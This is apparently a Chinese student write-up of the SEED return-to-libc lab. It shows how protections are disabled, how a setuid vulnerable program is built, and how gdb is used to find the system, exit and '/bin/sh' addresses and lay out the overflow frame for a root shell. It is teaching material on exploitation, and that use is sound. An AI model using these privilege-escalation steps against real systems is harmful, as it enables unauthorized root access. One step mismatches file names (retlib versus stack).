实验步骤
(1)初始化:
代码语言:javascript复制$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=0
(关闭地址随机化)
(2)编写exploit.c 文件,溢出程序的编写:(如下图)
(3)编译exploit.c文件,生成exploit文件,执行exploit,生成badfile文件
代码语言:javascript复制$ gcc -o exploit exploit.c
$./exploit
// create the badfile
(4)编译stack.c文件
代码语言:javascript复制$ su root
Password (enter root password)
# gcc -o retlib -z execstack -fno-stack-protector -g retlib.c
# chmod 4755 stack
# exit
-z execstack : 使填写在栈内的内容能过执行
-fno-stack-protector : 关闭栈溢出保护,使栈可以被溢出
-g : 可调试编译,使程序能够被调试
(5)执行retlib,获得root权限
代码语言:javascript复制$./retlib
// launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!
实验过程
(1)寻找system,exit,“/bin/sh”的地址
代码语言:javascript复制gdb retlib
(gdb) b main
Breakpoint 1 at 0x80484bc: file retlib.c, line 20.
(gdb) r
Starting program: /home/seed/Lesson1/retlib
Breakpoint 1, main (argc=1, argv=0xbffff414) at retlib.c:20
20 badfile = fopen("badfile", "r");
(gdb) p system (寻找调用system的地址)
$1 = {<text variable, no debug info>} 0xb7e5f430 <system>
(gdb) find system, 9999999,"/bin/sh" (寻找“/bin/sh”字符串的地址)
0xb7f80fb8
warning: Unable to access target memory at 0xb7fc74c0, halting search.
1 pattern found.
(gdb) p exit (寻找调用exit的地址)
$2 = {<text variable, no debug info>} 0xb7e52fb0 <exit>
(gdb) p setuid (寻找调用setuid的地址)
$3 = {<text variable, no debug info>} 0xb7ed8e40 <setuid>
(gdb)
(2)找到bof函数的返回地址,反汇编bof函数
代码语言:javascript复制(gdb) disassemble bof
Dump of assembler code for function bof:
0x08048484 < 0>: push �p
0x08048485 < 1>: mov %esp,�p
0x08048487 < 3>: sub $0x28,%esp
0x0804848a < 6>: lea -0x14(�p),�x
0x0804848d < 9>: mov 0x8(�p),�x
0x08048490 < 12>: mov �x,0xc(%esp)
0x08048494 < 16>: movl $0x28,0x8(%esp)
0x0804849c < 24>: movl $0x1,0x4(%esp)
0x080484a4 < 32>: mov �x,(%esp)
0x080484a7 < 35>: call 0x8048380 <fread@plt>
0x080484ac < 40>: mov $0x1,�x
0x080484b1 < 45>: leave
0x080484b2 < 46>: ret
End of assembler dump.
这里eax(-0x14(�p))存的是buffer[0]的地址,且0x14 = 20,说明ebp和buffer[0]的地址相差20个字节,所以跳转地址就应该填在buffer[24]~buffer[27]的位置,所以只要把system的调用地址填在这,就可以跳转去执行system函数了,然后依次去执行exit函数(buffer[28]~buffer[31])
这里”/bin/sh” 为什么放在 exit 函数后面?
解答:
代码语言:javascript复制0x080484b1 < 45>: leave
相当于语句:
代码语言:javascript复制pop �p
mov �p, %esp
然后执行:
代码语言:javascript复制0x080484b2 < 46>: ret
This instruction simply pops the return address out of the stack,
and then jump to the return address.
leave 指令 pop ebp后栈内 esp 指向 return address,ret 指令跳转到 system(),执行system函数时,先push函数参数再执行call,而call的时候会将返回地址push到栈上,所以我们在构建栈帧的时候,system函数的地址与参数的地址之间需要填充一个虚构的返回函数,这里我们填充exit函数地址。
(图为网上一道pwn题的思路,可以帮助理解,和本实验的地址不一样)
我们可以利用Return-to-libc的方法构建栈帧绕过NX选项: NX即No-eXecute(不可执行)的意思,NX选项会将进程特殊区域的内存标记为不可执行,当CPU跳转到这些区域执行代码的时候便会产生异常,以阻止缓冲区溢出时直接在栈上执行恶意代码。 gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数。在Windows下,类似的概念为DEP(Data Execution Prevention,数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项
我们可以使用checksec.sh脚本可以方便的查看可执行程序是否启用了NX,checksec脚本的下载地址为:http://www.trapkit.de/tools/checksec.sh
实验地址:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Return_to_libc/